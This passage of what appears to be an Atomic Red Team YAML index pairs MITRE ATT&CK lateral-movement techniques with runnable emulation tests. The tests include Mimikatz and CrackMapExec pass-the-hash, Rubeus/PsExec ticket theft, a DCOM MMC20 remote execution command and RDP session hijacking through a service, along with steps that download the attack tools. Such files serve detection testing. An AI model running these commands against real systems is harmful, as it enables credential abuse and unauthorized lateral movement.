        command: '[activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.application","#{computer_name}")).Document.ActiveView.ExecuteShellCommand("c:\windows\system32\calc.exe",
          $null, $null, "7")

'
        name: powershell
  T1210:
    technique:
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      external_references:
      - source_name: mitre-attack
        external_id: T1210
        url: https://attack.mitre.org/techniques/T1210
      - url: https://www.cisecurity.org/advisory/multiple-vulnerabilities-in-microsoft-windows-smb-server-could-allow-for-remote-code-execution/
        description: CIS. (2017, May 15). Multiple Vulnerabilities in Microsoft Windows
          SMB Server Could Allow for Remote Code Execution. Retrieved April 3, 2018.
        source_name: CIS Multiple SMB Vulnerabilities
      - url: https://nvd.nist.gov/vuln/detail/CVE-2017-0176
        description: National Vulnerability Database. (2017, June 22). CVE-2017-0176
          Detail. Retrieved April 3, 2018.
        source_name: NVD CVE-2017-0176
      - url: https://nvd.nist.gov/vuln/detail/CVE-2016-6662
        description: National Vulnerability Database. (2017, February 2). CVE-2016-6662
          Detail. Retrieved April 3, 2018.
        source_name: NVD CVE-2016-6662
      - url: https://nvd.nist.gov/vuln/detail/CVE-2014-7169
        description: National Vulnerability Database. (2017, September 24). CVE-2014-7169
          Detail. Retrieved April 3, 2018.
        source_name: NVD CVE-2014-7169
      description: |-
        Adversaries may exploit remote services to gain unauthorized access to internal systems once inside of a network. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. A common goal for post-compromise exploitation of remote services is for lateral movement to enable access to a remote system.

        An adversary may need to determine if the remote system is in a vulnerable state, which may be done through [Network Service Scanning](https://attack.mitre.org/techniques/T1046) or other Discovery methods looking for common, vulnerable software that may be deployed in the network, the lack of certain patches that may indicate vulnerabilities,  or security software that may be used to detect or contain remote exploitation. Servers are likely a high value target for lateral movement exploitation, but endpoint systems may also be at risk if they provide an advantage or access to additional resources.

        There are several well-known vulnerabilities that exist in common services such as SMB (Citation: CIS Multiple SMB Vulnerabilities) and RDP (Citation: NVD CVE-2017-0176) as well as applications that may be used within internal networks such as MySQL (Citation: NVD CVE-2016-6662) and web server services. (Citation: NVD CVE-2014-7169)

        Depending on the permissions level of the vulnerable remote service an adversary may achieve [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068) as a result of lateral movement exploitation as well.
      name: Exploitation of Remote Services
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      id: attack-pattern--9db0cf3a-a3c9-4012-8268-123b9db6fd82
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: lateral-movement
      modified: '2021-04-22T20:23:01.478Z'
      created: '2018-04-18T17:59:24.739Z'
      x_mitre_contributors:
      - ExtraHop
      x_mitre_version: '1.1'
      x_mitre_detection: Detecting software exploitation may be difficult depending
        on the tools available. Software exploits may not always succeed or may cause
        the exploited process to become unstable or crash. Also look for behavior
        on the endpoint system that might indicate successful compromise, such as
        abnormal behavior of the processes. This could include suspicious files written
        to disk, evidence of [Process Injection](https://attack.mitre.org/techniques/T1055)
        for attempts to hide execution, evidence of Discovery, or other unusual network
        traffic that may indicate additional tools transferred to the system.
      x_mitre_data_sources:
      - 'Application Log: Application Log Content'
      - 'Network Traffic: Network Traffic Content'
      x_mitre_permissions_required:
      - User
      x_mitre_platforms:
      - Linux
      - Windows
      - macOS
      x_mitre_system_requirements:
      - Unpatched software or otherwise vulnerable target. Depending on the target
        and goal, the system and exploitable service may need to be remotely accessible
        from the internal network.
      x_mitre_is_subtechnique: false
    atomic_tests: []
  T1534:
    technique:
      id: attack-pattern--9e7452df-5144-4b6e-b04a-b66dd4016747
      description: |-
        Adversaries may use internal spearphishing to gain access to additional information or exploit other users within the same organization after they already have access to accounts or systems within the environment. Internal spearphishing is multi-staged attack where an email account is owned either by controlling the user's device with previously installed malware or by compromising the account credentials of the user. Adversaries attempt to take advantage of a trusted internal account to increase the likelihood of tricking the target into falling for the phish attempt.(Citation: Trend Micro When Phishing Starts from the Inside 2017)

        Adversaries may leverage [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001) or [Spearphishing Link](https://attack.mitre.org/techniques/T1566/002) as part of internal spearphishing to deliver a payload or redirect to an external site to capture credentials through [Input Capture](https://attack.mitre.org/techniques/T1056) on sites that mimic email login interfaces.

        There have been notable incidents where internal spearphishing has been used. The Eye Pyramid campaign used phishing emails with malicious attachments for lateral movement between victims, compromising nearly 18,000 email accounts in the process.(Citation: Trend Micro When Phishing Starts from the Inside 2017) The Syrian Electronic Army (SEA) compromised email accounts at the Financial Times (FT) to steal additional account credentials. Once FT learned of the attack and began warning employees of the threat, the SEA sent phishing emails mimicking the Financial Times IT department and were able to compromise even more users.(Citation: THE FINANCIAL TIMES LTD 2019.)
      name: Internal Spearphishing
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      external_references:
      - external_id: T1534
        source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1534
      - description: Chris Taylor. (2017, October 5). When Phishing Starts from the
          Inside. Retrieved October 8, 2019.
        url: https://blog.trendmicro.com/phishing-starts-inside/
        source_name: Trend Micro When Phishing Starts from the Inside 2017
      - description: THE FINANCIAL TIMES. (2019, September 2). A sobering day. Retrieved
          October 8, 2019.
        url: https://labs.ft.com/2013/05/a-sobering-day/?mhq5j=e6
        source_name: THE FINANCIAL TIMES LTD 2019.
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: lateral-movement
      modified: '2021-04-14T14:32:14.273Z'
      created: '2019-09-04T19:26:12.441Z'
      x_mitre_is_subtechnique: false
      x_mitre_data_sources:
      - 'Application Log: Application Log Content'
      - 'Network Traffic: Network Traffic Flow'
      - 'Network Traffic: Network Traffic Content'
      x_mitre_platforms:
      - Windows
      - macOS
      - Linux
      - Office 365
      - SaaS
      - Google Workspace
      x_mitre_contributors:
      - Tim MalcomVetter
      - Swetha Prabakaran, Microsoft Threat Intelligence Center (MSTIC)
      x_mitre_detection: 'Network intrusion detection systems and email gateways usually
        do not scan internal email, but an organization can leverage the journaling-based
        solution which sends a copy of emails to a security service for offline analysis
        or incorporate service-integrated solutions using on-premise or API-based
        integrations to help detect internal spearphishing attacks.(Citation: Trend
        Micro When Phishing Starts from the Inside 2017)'
      x_mitre_permissions_required:
      - User
      x_mitre_version: '1.1'
    atomic_tests: []
  T1570:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1570
        url: https://attack.mitre.org/techniques/T1570
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Lateral Tool Transfer
      description: Adversaries may transfer tools or other files between systems in
        a compromised environment. Files may be copied from one system to another
        to stage adversary tools or other files over the course of an operation. Adversaries
        may copy files laterally between internal victim systems to support lateral
        movement using inherent file sharing protocols such as file sharing over SMB
        to connected network shares or with authenticated connections with [SMB/Windows
        Admin Shares](https://attack.mitre.org/techniques/T1021/002) or [Remote Desktop
        Protocol](https://attack.mitre.org/techniques/T1021/001). Files can also be
        copied over on Mac and Linux with native tools like scp, rsync, and sftp.
      id: attack-pattern--bf90d72c-c00b-45e3-b3aa-68560560d4c5
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: lateral-movement
      modified: '2020-03-23T22:10:10.862Z'
      created: '2020-03-11T21:01:00.959Z'
      x_mitre_version: '1.0'
      x_mitre_is_subtechnique: false
      x_mitre_permissions_required:
      - User
      x_mitre_detection: 'Monitor for file creation and files transferred within a
        network using protocols such as SMB. Unusual processes with internal network
        connections creating files on-system may be suspicious. Consider monitoring
        for abnormal usage of utilities and command-line arguments that may be used
        in support of remote transfer of files. Considering monitoring for alike file
        hashes or characteristics (ex: filename) that are created on multiple hosts.'
      x_mitre_data_sources:
      - 'Network Traffic: Network Traffic Flow'
      - 'Network Traffic: Network Traffic Content'
      - 'Command: Command Execution'
      - 'Process: Process Creation'
      - 'File: File Creation'
      - 'File: File Metadata'
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
    atomic_tests: []
  T1550.002:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1550.002
        url: https://attack.mitre.org/techniques/T1550/002
      - external_id: CAPEC-644
        source_name: capec
        url: https://capec.mitre.org/data/definitions/644.html
      - source_name: Stealthbits Overpass-the-Hash
        url: https://stealthbits.com/blog/how-to-detect-overpass-the-hash-attacks/
        description: Warren, J. (2019, February 26). How to Detect Overpass-the-Hash
          Attacks. Retrieved February 4, 2021.
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Pass the Hash
      description: |-
        Adversaries may “pass the hash” using stolen password hashes to move laterally within an environment, bypassing normal system access controls. Pass the hash (PtH) is a method of authenticating as a user without having access to the user's cleartext password. This method bypasses standard authentication steps that require a cleartext password, moving directly into the portion of the authentication that uses the password hash.

        When performing PtH, valid password hashes for the account being used are captured using a [Credential Access](https://attack.mitre.org/tactics/TA0006) technique. Captured hashes are used with PtH to authenticate as that user. Once authenticated, PtH may be used to perform actions on local or remote systems.

        Adversaries may also use stolen password hashes to "overpass the hash." Similar to PtH, this involves using a password hash to authenticate as a user but also uses the password hash to create a valid Kerberos ticket. This ticket can then be used to perform [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003) attacks.(Citation: Stealthbits Overpass-the-Hash)
      id: attack-pattern--e624264c-033a-424d-9fd7-fc9c3bbdb03e
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      - kill_chain_name: mitre-attack
        phase_name: lateral-movement
      modified: '2021-03-15T21:04:33.228Z'
      created: '2020-01-30T16:36:51.184Z'
      x_mitre_defense_bypassed:
      - System Access Controls
      x_mitre_version: '1.1'
      x_mitre_is_subtechnique: true
      x_mitre_detection: |-
        Audit all logon and credential use events and review for discrepancies. Unusual remote logins that correlate with other suspicious activity (such as writing and executing binaries) may indicate malicious activity. NTLM LogonType 3 authentications that are not associated to a domain login and are not anonymous logins are suspicious.

        Event ID 4768 and 4769 will also be generated on the Domain Controller when a user requests a new ticket granting ticket or service ticket. These events combined with the above activity may be indicative of an overpass the hash attempt.(Citation: Stealthbits Overpass-the-Hash)
      x_mitre_data_sources:
      - 'User Account: User Account Authentication'
      - 'Logon Session: Logon Session Creation'
      - 'Active Directory: Active Directory Credential Request'
      x_mitre_contributors:
      - Blake Strom, Microsoft 365 Defender
      - Travis Smith, Tripwire
      x_mitre_platforms:
      - Windows
      identifier: T1550.002
    atomic_tests:
    - name: Mimikatz Pass the Hash
      auto_generated_guid: ec23cef9-27d9-46e4-a68d-6f75f7b86908
      description: |
        Note: must dump hashes first
        [Reference](https://github.com/gentilkiwi/mimikatz/wiki/module-~-sekurlsa#pth)
      supported_platforms:
      - windows
      input_arguments:
        user_name:
          description: username
          type: String
          default: Administrator
        ntlm:
          description: ntlm hash
          type: String
          default: cc36cf7a8514893efccd3324464tkg1a
        domain:
          description: domain
          type: String
          default: "%userdnsdomain%"
        mimikatz_path:
          description: mimikatz windows executable
          type: Path
          default: "%tmp%\\mimikatz\\x64\\mimikatz.exe"
      dependency_executor_name: powershell
      dependencies:
      - description: 'Mimikatz executor must exist on disk and at specified location
          (#{mimikatz_path})

'
        prereq_command: |
          $mimikatz_path = cmd /c echo #{mimikatz_path}
          if (Test-Path $mimikatz_path) {exit 0} else {exit 1}
        get_prereq_command: |
          $mimikatz_path = cmd /c echo #{mimikatz_path}
          $mimikatz_relative_uri = Invoke-WebRequest "https://github.com/gentilkiwi/mimikatz/releases/latest" -UseBasicParsing | Select-Object -ExpandProperty Links | Where-Object -Property href -Like "*/mimikatz_trunk.zip" | Select-Object -ExpandProperty href
          Invoke-WebRequest "https://github.com$mimikatz_relative_uri" -UseBasicParsing -OutFile "$env:TEMP\mimikatz.zip"
          Expand-Archive $env:TEMP\mimikatz.zip $env:TEMP\mimikatz -Force
          New-Item -ItemType Directory (Split-Path $mimikatz_path) -Force | Out-Null
          Move-Item $env:TEMP\mimikatz\x64\mimikatz.exe $mimikatz_path -Force
      executor:
        command: '#{mimikatz_path} "sekurlsa::pth /user:#{user_name} /domain:#{domain}
          /ntlm:#{ntlm}"

'
        name: command_prompt
    - name: crackmapexec Pass the Hash
      auto_generated_guid: eb05b028-16c8-4ad8-adea-6f5b219da9a9
      description: 'command execute with crackmapexec

'
      supported_platforms:
      - windows
      input_arguments:
        user_name:
          description: username
          type: String
          default: Administrator
        crackmapexec_exe:
          description: crackmapexec windows executable
          type: Path
          default: C:\CrackMapExecWin\crackmapexec.exe
        command:
          description: command to execute
          type: String
          default: whoami
        ntlm:
          description: command
          type: String
          default: cc36cf7a8514893efccd3324464tkg1a
        domain:
          description: domain
          type: String
          default: "%userdnsdomain%"
      dependency_executor_name: powershell
      dependencies:
      - description: 'CrackMapExec executor must exist on disk at specified location
          (#{crackmapexec_exe})

'
        prereq_command: 'if(Test-Path #{crackmapexec_exe}) {exit 0} else {exit 1}

'
        get_prereq_command: 'Write-Host Automated installer not implemented yet, please
          install crackmapexec manually at this location: #{crackmapexec_exe}

'
      executor:
        command: "#{crackmapexec_exe} #{domain} -u #{user_name} -H #{ntlm} -x #{command}\n"
        name: command_prompt
  T1550.003:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1550.003
        url: https://attack.mitre.org/techniques/T1550/003
      - external_id: CAPEC-645
        source_name: capec
        url: https://capec.mitre.org/data/definitions/645.html
      - url: https://adsecurity.org/?p=556
        description: Metcalf, S. (2014, November 22). Mimikatz and Active Directory
          Kerberos Attacks. Retrieved June 2, 2016.
        source_name: ADSecurity AD Kerberos Attacks
      - url: http://blog.gentilkiwi.com/securite/mimikatz/pass-the-ticket-kerberos
        description: Deply, B. (2014, January 13). Pass the ticket. Retrieved June
          2, 2016.
        source_name: GentilKiwi Pass the Ticket
      - url: http://defcon.org/images/defcon-22/dc-22-presentations/Campbell/DEFCON-22-Christopher-Campbell-The-Secret-Life-of-Krbtgt.pdf
        description: Campbell, C. (2014). The Secret Life of Krbtgt. Retrieved December
          4, 2014.
        source_name: Campbell 2014
      - source_name: Stealthbits Overpass-the-Hash
        url: https://stealthbits.com/blog/how-to-detect-overpass-the-hash-attacks/
        description: Warren, J. (2019, February 26). How to Detect Overpass-the-Hash
          Attacks. Retrieved February 4, 2021.
      - url: https://cert.europa.eu/static/WhitePapers/UPDATED%20-%20CERT-EU_Security_Whitepaper_2014-007_Kerberos_Golden_Ticket_Protection_v1_4.pdf
        description: Abolins, D., Boldea, C., Socha, K., Soria-Machado, M. (2016,
          April 26). Kerberos Golden Ticket Protection. Retrieved July 13, 2017.
        source_name: CERT-EU Golden Ticket Protection
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Pass the Ticket
      description: |-
        Adversaries may “pass the ticket” using stolen Kerberos tickets to move laterally within an environment, bypassing normal system access controls. Pass the ticket (PtT) is a method of authenticating to a system using Kerberos tickets without having access to an account's password. Kerberos authentication can be used as the first step to lateral movement to a remote system.

        When preforming PtT, valid Kerberos tickets for [Valid Accounts](https://attack.mitre.org/techniques/T1078) are captured by [OS Credential Dumping](https://attack.mitre.org/techniques/T1003). A user's service tickets or ticket granting ticket (TGT) may be obtained, depending on the level of access. A service ticket allows for access to a particular resource, whereas a TGT can be used to request service tickets from the Ticket Granting Service (TGS) to access any resource the user has privileges to access.(Citation: ADSecurity AD Kerberos Attacks)(Citation: GentilKiwi Pass the Ticket)

        A [Silver Ticket](https://attack.mitre.org/techniques/T1558/002) can be obtained for services that use Kerberos as an authentication mechanism and are used to generate tickets to access that particular resource and the system that hosts the resource (e.g., SharePoint).(Citation: ADSecurity AD Kerberos Attacks)

        A [Golden Ticket](https://attack.mitre.org/techniques/T1558/001) can be obtained for the domain using the Key Distribution Service account KRBTGT account NTLM hash, which enables generation of TGTs for any account in Active Directory.(Citation: Campbell 2014)

        Adversaries may also create a valid Kerberos ticket using other user information, such as stolen password hashes or AES keys. For example, "overpassing the hash" involves using a NTLM password hash to authenticate as a user (i.e. [Pass the Hash](https://attack.mitre.org/techniques/T1550/002)) while also using the password hash to create a valid Kerberos ticket.(Citation: Stealthbits Overpass-the-Hash)
      id: attack-pattern--7b211ac6-c815-4189-93a9-ab415deca926
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      - kill_chain_name: mitre-attack
        phase_name: lateral-movement
      modified: '2021-03-15T21:42:11.839Z'
      created: '2020-01-30T17:03:43.072Z'
      x_mitre_defense_bypassed:
      - System Access Controls
      x_mitre_version: '1.1'
      x_mitre_is_subtechnique: true
      x_mitre_system_requirements:
      - Kerberos authentication enabled
      x_mitre_detection: |-
        Audit all Kerberos authentication and credential use events and review for discrepancies. Unusual remote authentication events that correlate with other suspicious activity (such as writing and executing binaries) may indicate malicious activity.

        Event ID 4769 is generated on the Domain Controller when using a golden ticket after the KRBTGT password has been reset twice, as mentioned in the mitigation section. The status code 0x1F indicates the action has failed due to "Integrity check on decrypted field failed" and indicates misuse by a previously invalidated golden ticket.(Citation: CERT-EU Golden Ticket Protection)
      x_mitre_data_sources:
      - 'User Account: User Account Authentication'
      - 'Logon Session: Logon Session Creation'
      - 'Active Directory: Active Directory Credential Request'
      x_mitre_contributors:
      - Vincent Le Toux
      - Ryan Becwar
      x_mitre_platforms:
      - Windows
      identifier: T1550.003
    atomic_tests:
    - name: Mimikatz Kerberos Ticket Attack
      auto_generated_guid: dbf38128-7ba7-4776-bedf-cc2eed432098
      description: 'Similar to PTH, but attacking Kerberos

'
      supported_platforms:
      - windows
      input_arguments:
        ticket:
          description: Ticket file name usually format of 'id-username\@domain.kirbi'
            (e.g. can be dumped by "sekurlsa::tickets /export" module)
          type: String
          default: 
        mimikatz_exe:
          description: Path of the Mimikatz binary
          type: Path
          default: PathToAtomicsFolder\T1550.003\bin\mimikatz.exe
      dependency_executor_name: powershell
      dependencies:
      - description: 'Mimikatz must exist on disk at specified location (#{mimikatz_exe})

'
        prereq_command: 'if (Test-Path #{mimikatz_exe}) {exit 0} else {exit 1}

'
        get_prereq_command: |
          [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
          $mimikatz_relative_uri = Invoke-WebRequest "https://github.com/gentilkiwi/mimikatz/releases/latest" -UseBasicParsing | Select-Object -ExpandProperty Links | Where-Object -Property href -Like "*/mimikatz_trunk.zip" | Select-Object -ExpandProperty href
          Invoke-WebRequest "https://github.com$mimikatz_relative_uri" -UseBasicParsing -OutFile "$env:TEMP\Mimi.zip"
          Expand-Archive $env:TEMP\Mimi.zip $env:TEMP\Mimi -Force
          New-Item -ItemType Directory (Split-Path #{mimikatz_exe}) -Force | Out-Null
          Copy-Item $env:TEMP\Mimi\x64\mimikatz.exe #{mimikatz_exe} -Force
      executor:
        command: '#{mimikatz_exe} "kerberos::ptt #{ticket}"

'
        name: command_prompt
    - name: Rubeus Kerberos Pass The Ticket
      auto_generated_guid: a2fc4ec5-12c6-4fb4-b661-961f23f359cb
      description: |
        Requesting a TGT on a remote system and retrieving it locally before requesting a service ticket with it. This is a Pass-The-Ticket attack because the TGT is obtained on the remote system, then used from a different machine (local).
        PsExec is used to execute commands on the remote system, and the "C$" admin share is used to retrieve the TGT, so the current user must have admin rights remotely and other PsExec prerequisites must be met.
      supported_platforms:
      - windows
      input_arguments:
        target:
          description: Remote system to request the TGT from
          type: string
          default: localhost
        user_name:
          description: username associated with the ticket (privileged account not
            required)
          type: String
          default: Administrator
        password:
          description: password for user_name
          type: String
          default: Password
        domain:
          description: domain
          type: String
          default: "$Env:USERDOMAIN"
        rubeus_path:
          description: Path of the Rubeus binary
          type: Path
          default: "$Env:TEMP\\rubeus.exe"
        rubeus_url:
          description: URL of Rubeus executable
          type: Url
          default: https://github.com/morgansec/Rubeus/raw/de21c6607e9a07182a2d2eea20bb67a22d3fbf95/Rubeus/bin/Debug/Rubeus45.exe
        psexec_path:
          description: Path of the PsExec binary
          type: String
          default: C:\PSTools\PsExec.exe
      dependency_executor_name: powershell
      dependencies:
      - description: 'Rubeus must exist on disk at specified location (#{rubeus_path})

'
        prereq_command: 'if (Test-Path #{rubeus_path}) {exit 0} else {exit 1}

'
        get_prereq_command: 'Invoke-Webrequest -Uri #{rubeus_url} -OutFile #{rubeus_path}

'
      - description: 'PsExec must exist on disk at specified location (#{psexec_path})

'
        prereq_command: 'if (Test-Path #{psexec_path}) {exit 0} else {exit 1}

'
        get_prereq_command: |
          Invoke-WebRequest "https://download.sysinternals.com/files/PSTools.zip" -OutFile "$env:TEMP\PsTools.zip"
          Expand-Archive $env:TEMP\PsTools.zip $env:TEMP\PsTools -Force
          New-Item -ItemType Directory (Split-Path "#{psexec_path}") -Force | Out-Null
          Copy-Item $env:TEMP\PsTools\PsExec.exe "#{psexec_path}" -Force
      executor:
        name: powershell
        elevation_required: true
        command: "#{psexec_path} -accepteula \\\\#{target} -w c:\\ -c #{rubeus_path}
          asktgt /user:#{user_name} /password:#{password} /domain:#{domain} /outfile:ticket.kirbi\nSet-Location
          $env:TEMP\nMove-Item -Force \"\\\\#{target}\\c$\\ticket.kirbi\" ticket.kirbi\nWrite-Host
          \"Successfully retrieved TGT from '#{target}', now requesting a TGS from
          local\"\n& \"#{rubeus_path}\" asktgs /service:cifs/#{target} /ticket:ticket.kirbi
          /ptt\nRemove-Item $env:TEMP\\ticket.kirbi\n& \"#{rubeus_path}\" purge      \n"
  T1563.002:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1563.002
        url: https://attack.mitre.org/techniques/T1563/002
      - url: https://technet.microsoft.com/en-us/windowsserver/ee236407.aspx
        description: Microsoft. (n.d.). Remote Desktop Services. Retrieved June 1,
          2016.
        source_name: TechNet Remote Desktop Services
      - url: http://www.korznikov.com/2017/03/0-day-or-feature-privilege-escalation.html
        description: Korznikov, A. (2017, March 17). Passwordless RDP Session Hijacking
          Feature All Windows versions. Retrieved December 11, 2017.
        source_name: RDP Hijacking Korznikov
      - url: https://medium.com/@networksecurity/rdp-hijacking-how-to-hijack-rds-and-remoteapp-sessions-transparently-to-move-through-an-da2a1e73a5f6
        description: Beaumont, K. (2017, March 19). RDP hijacking — how to hijack
          RDS and RemoteApp sessions transparently to move through an organisation.
          Retrieved December 11, 2017.
        source_name: RDP Hijacking Medium
      - url: https://github.com/nccgroup/redsnarf
        description: NCC Group PLC. (2016, November 1). Kali Redsnarf. Retrieved December
          11, 2017.
        source_name: Kali Redsnarf
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: RDP Hijacking
      description: |-
        Adversaries may hijack a legitimate user’s remote desktop session to move laterally within an environment. Remote desktop is a common feature in operating systems. It allows a user to log into an interactive session with a system desktop graphical user interface on a remote system. Microsoft refers to its implementation of the Remote Desktop Protocol (RDP) as Remote Desktop Services (RDS).(Citation: TechNet Remote Desktop Services)

        Adversaries may perform RDP session hijacking which involves stealing a legitimate user's remote session. Typically, a user is notified when someone else is trying to steal their session. With System permissions and using Terminal Services Console, `c:\windows\system32\tscon.exe [session number to be stolen]`, an adversary can hijack a session without the need for credentials or prompts to the user.(Citation: RDP Hijacking Korznikov) This can be done remotely or locally and with active or disconnected sessions.(Citation: RDP Hijacking Medium) It can also lead to [Remote System Discovery](https://attack.mitre.org/techniques/T1018) and Privilege Escalation by stealing a Domain Admin or higher privileged account session. All of this can be done by using native Windows commands, but it has also been added as a feature in red teaming tools.(Citation: Kali Redsnarf)
      id: attack-pattern--e0033c16-a07e-48aa-8204-7c3ca669998c
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: lateral-movement
      modified: '2020-03-23T23:24:39.182Z'
      created: '2020-02-25T18:35:42.765Z'
      x_mitre_data_sources:
      - 'Network Traffic: Network Traffic Flow'
      - 'Network Traffic: Network Traffic Content'
      - 'Logon Session: Logon Session Creation'
      - 'Command: Command Execution'
      - 'Process: Process Creation'
      x_mitre_detection: |-
        Consider monitoring processes for `tscon.exe` usage and monitor service creation that uses `cmd.exe /k` or `cmd.exe /c` in its arguments to detect RDP session hijacking.

        Use of RDP may be legitimate, depending on the network environment and how it is used. Other factors, such as access patterns and activity that occurs after a remote login, may indicate suspicious or malicious behavior with RDP.
      x_mitre_version: '1.0'
      x_mitre_is_subtechnique: true
      x_mitre_permissions_required:
      - SYSTEM
      x_mitre_platforms:
      - Windows
      identifier: T1563.002
    atomic_tests:
    - name: RDP hijacking
      auto_generated_guid: a37ac520-b911-458e-8aed-c5f1576d9f46
      description: "[RDP hijacking](https://medium.com/@networksecurity/rdp-hijacking-how-to-hijack-rds-and-remoteapp-sessions-transparently-to-move-through-an-da2a1e73a5f6)
        - how to hijack RDS and RemoteApp sessions transparently to move through an
        organization\n"
      supported_platforms:
      - windows
      input_arguments:
        Session_ID:
          description: The ID of the session to which you want to connect
          type: String
          default: '1337'
        Destination_ID:
          description: Connect the session of another user to a different session
          type: String
          default: rdp-tcp#55
      executor:
        command: |
          query user
          sc.exe create sesshijack binpath= "cmd.exe /k tscon #{Session_ID} /dest:#{Destination_ID}"
          net start sesshijack
        cleanup_command: 'sc.exe delete sesshijack >nul 2>&1

'
        name: command_prompt
        elevation_required: true
  T1021.001:
    technique:
      created: '2020-02-11T18:23:26.059Z'
      modified: '2020-02-25T19:23:34.204Z'
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: lateral-movement
      type: attack-pattern
      id: attack-pattern--eb062747-2193-45de-8fa2-e62549c37ddf
      description: "Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078)
        to log into a computer using the Remote Desktop Protocol (RDP). The adversary
        may then perform actions as the logged-on user.\n\nRemote desktop is a common
        feature in operating systems. It allows a user to log into an interactive
        session with a system desktop graphical user interface on a remote system.
        Microsoft refers to its implementation of the Remote Desktop Protocol (RDP)
        as Remote Desktop Services (RDS).(Citation: TechNet Remote Desktop Services)
        \n\nAdversaries may connect to a remote system over RDP/RDS to expand access
        if the service is enabled and allows access to accounts with known credentials.
        Adversaries will likely use Credential Access techniques to acquire credentials
        to use with RDP. Adversaries may also use RDP in conjunction with the [Accessibility
        Features](https://attack.mitre.org/techniques/T1546/008) technique for Persistence.(Citation:
        Alperovitch Malware)"
      name: Remote Desktop Protocol
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      external_references:
      - source_name: mitre-attack
        external_id: T1021.001
        url: https://attack.mitre.org/techniques/T1021/001
      - external_id: CAPEC-555
        source_name: capec
        url: https://capec.mitre.org/data/definitions/555.html
      - url: https://technet.microsoft.com/en-us/windowsserver/ee236407.aspx
        description: Microsoft. (n.d.). Remote Desktop Services. Retrieved June 1,
          2016.
        source_name: TechNet Remote Desktop Services
      - url: http://blog.crowdstrike.com/adversary-tricks-crowdstrike-treats/
        description: Alperovitch, D. (2014, October 31). Malware-Free Intrusions.
          Retrieved November 4, 2014.
        source_name: Alperovitch Malware
      x_mitre_platforms:
      - Windows
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.0'
      x_mitre_detection: Use of RDP may be legitimate, depending on the network environment
        and how it is used. Other factors, such as access patterns and activity that
        occurs after a remote login, may indicate suspicious or malicious behavior
        with RDP. Monitor for user accounts logged into systems they would not normally
        access or access patterns to multiple systems over a relatively short period
        of time.
      x_mitre_permissions_required:
      - Remote Desktop Users
      - User
      x_mitre_data_sources:
      - 'Process: Process Creation'
      - 'Network Traffic: Network Connection Creation'
      - 'Network Traffic: Network Traffic Flow'
      - 'Logon Session: Logon Session Creation'
      x_mitre_system_requirements:
      - RDP service enabled, account in the Remote Desktop Users group
      x_mitre_contributors:
      - Matthew Demaske, Adaptforward
      identifier: T1021.001
    atomic_tests:
    - name: RDP to DomainController
      auto_generated_guid: 355d4632-8cb9-449d-91ce-b566d0253d3e
      description: 'Attempt an RDP session via Remote Desktop Application to a DomainController.

'
      supported_platforms:
      - windows
      input_arguments:
        logonserver:
          description: ComputerName argument default %logonserver%
          type: String
          default: $ENV:logonserver.TrimStart("\")
        domain:
          description: domain argument default %USERDOMAIN%
          type: String
          default: "$Env:USERDOMAIN"
        username:
          description: Username argument default %username%
          type: String
          default: "$ENV:USERNAME"
        password:
          description: Password
          type: String
          default: 1password2!
      dependencies:
      - description: 'Computer must be domain joined

'
        prereq_command: 'if((Get-CIMInstance -Class Win32_ComputerSystem).PartOfDomain)
          { exit 0} else { exit 1}

'
        get_prereq_command: 'Write-Host Joining this computer to a domain must be
          done manually

'
      executor:
        command: |
          $Server=#{logonserver}
          $User = Join-Path #{domain} #{username}
          $Password="#{password}"
          cmdkey /generic:TERMSRV/$Server /user:$User /pass:$Password
          mstsc /v:$Server
          echo "RDP connection established"
        cleanup_command: |
          $p=Tasklist /svc /fi "IMAGENAME eq mstsc.exe" /fo csv | convertfrom-csv
          if(-not ([string]::IsNullOrEmpty($p.PID))) { Stop-Process -Id $p.PID }
        name: powershell
    - name: RDP to Server
      auto_generated_guid: 7382a43e-f19c-46be-8f09-5c63af7d3e2b
      description: 'Attempt an RDP session via Remote Desktop Application over Powershell

'
      supported_platforms:
      - windows
      input_arguments:
        logonserver:
